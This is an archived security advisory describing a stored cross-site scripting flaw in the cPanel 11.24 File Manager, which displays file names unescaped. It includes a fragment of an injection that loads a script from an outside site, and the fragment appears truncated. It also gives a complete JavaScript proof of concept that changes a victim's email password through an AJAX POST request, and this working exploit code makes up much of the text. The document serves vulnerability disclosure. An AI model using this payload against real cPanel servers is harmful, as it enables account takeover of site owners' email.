TUCoPS :: HP Unsorted C :: va2908.htm

CPANEL File Manager XSS Vulnerability
CPANEL File Manager XSS Vulnerability
CPANEL File Manager XSS Vulnerability



Cpanel File Manager XSS Vulnerability

Synopsis
-------------
Cpanel (www.cpanel.net) has two file manager application, standard and legacy one to manage files. Both of them are vulnerable to XSS attack. File name is presented unescaped so that an attacker can craft malicious file name to execute script on behalf of victims.

Version
-----------
this vulnerability was found on cpanel version 11.24.4-CURRENT
exploit here is already tested on: Firefox 3.0.7 and IE 8.0

Details
----------
legacy file manager (lfm) is more vulnerable than the standard one. In legacy file manager, only by viewing list of files, attacker code can be executed. In standard file manager, list of file is well escaped, but attacker still can inject script when victims click on any of these task: delete, copy, move, rename, edit, change permissions, extract, compress on file with malicious name.

to make browser load and execute external script, attacker can't directly use ">src=http://ilmuhacking.com/x.js>

that poc exploit works for both file manager application (standard and legacy).

PoC payload: change victim email password
----------------------------------------------------------------
by making POST request using ajax functions to /frontend/x3/mail/dopasswdpop.html attacker can change one of victim email password. the script below is an example payload that executed from external url.

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
 http_request = new XMLHttpRequest();
 if (http_request.overrideMimeType) {
    http_request.overrideMimeType('text/html');
 }
} else if (window.ActiveXObject) { // IE
 try {
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
 } catch (e) {
    try {
       http_request = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (e) {}
 }
}
if (!http_request) {
 alert('Cannot create XMLHTTP instance');
 return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
 if (http_request.status == 200) {
    result = http_request.responseText;
    alert(result);
 } else {
    alert('There was a problem with the request.');
 }
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") +
            "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testemail") +
            "&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);

CREDITS
------------------
This vulnerability has been discovered by Rizki Wicaksono ( http://www.ilmuhacking.com )
The Indonesian article at http://www.ilmuhacking.com/web-security/cpanel-file-manager-xss-attack/ gives more detail about this vulnerability.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH